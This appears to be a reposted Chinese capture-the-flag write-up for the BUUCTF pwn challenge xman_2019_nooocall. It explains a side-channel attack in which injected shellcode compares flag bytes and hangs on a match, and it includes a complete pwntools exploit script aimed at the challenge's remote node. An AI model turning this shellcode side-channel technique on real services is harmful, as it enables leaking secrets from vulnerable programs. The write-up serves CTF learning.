[BUUCTF] xman_2019_nooocall
2021/12/10 23:49:42
本文主要是介绍[BUUCTF] xman_2019_nooocall,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
xman_2019_nooocall
总结
可以输入shellcode
,但是又不能使用任何系统调用。因此,可以使用侧信道攻击,通过一些现象、反馈等猜测出flag
。侧信道常用的反馈有错误、死循环、异常分支等。这里采用死循环,步骤为:
-
编写
shellcode
猜测flag
的每一位,如果比较正确则死循环 -
使用
tube.can_recv()
进行判断,如果陷入死循环,说明当前字符猜测成功
buuctf
上的flag
都是uuid
字符串,因此猜测的字符的范围限于0123456789abcdef-
。
EXP
from pwn import * context.arch="amd64" context.os='linux' context.endian="little" context.log_level="error" shellcode = """ add al, 2 sal rax, 32 mov bl, byte ptr [rax+{}] cmp bl, {} jz $-0x3 """ possible_char="0123456789abcdef-}" pi = [ord(x) for x in possible_char] flag = 'flag{' idx = 5 n = 32 ip = 'node4.buuoj.cn' port = 28277 print("ip: {}, port: {}".format(ip, port)) while 1: bb = True for x in pi: # p = process("./xman_2019_nooocall") p = remote(ip, port) p.sendafter("Your Shellcode >>", asm(shellcode.format(idx, x))) bb = p.can_recv(timeout=3) p.close() if not bb: flag += chr(x) print(f"current flag: {flag}") break if flag.endswith("}"): break if bb: print("something wrong...") continue idx += 1
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
这篇关于[BUUCTF] xman_2019_nooocall的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-10-07fastcgi 是什么-icode9专业技术文章分享
- 2024-10-07fastcgi 的详细使用教程介绍-icode9专业技术文章分享
- 2024-10-07git如何更新单个文件到本地-icode9专业技术文章分享
- 2024-10-07如何使用ASM(Abstract Syntax Tree Manipulation)技术来修改第三方AAR依赖中的函数-icode9专业技术文章分享
- 2024-10-07Activity 跳转时间耗时很长怎么优化解决-icode9专业技术文章分享
- 2024-10-07Androud Toast 有哪些常用的第三方组件-icode9专业技术文章分享
- 2024-10-07在viewmodel中怎么使用 mmkv?-icode9专业技术文章分享
- 2024-10-07MMKV.defaultMMKV() 是单例模式吗?-icode9专业技术文章分享
- 2024-10-04el-table 开启定时器下,表格的选中状态会消失是什么原因-icode9专业技术文章分享
- 2024-10-03如何安装和初始化飞牛私有云 fnOS?-icode9专业技术文章分享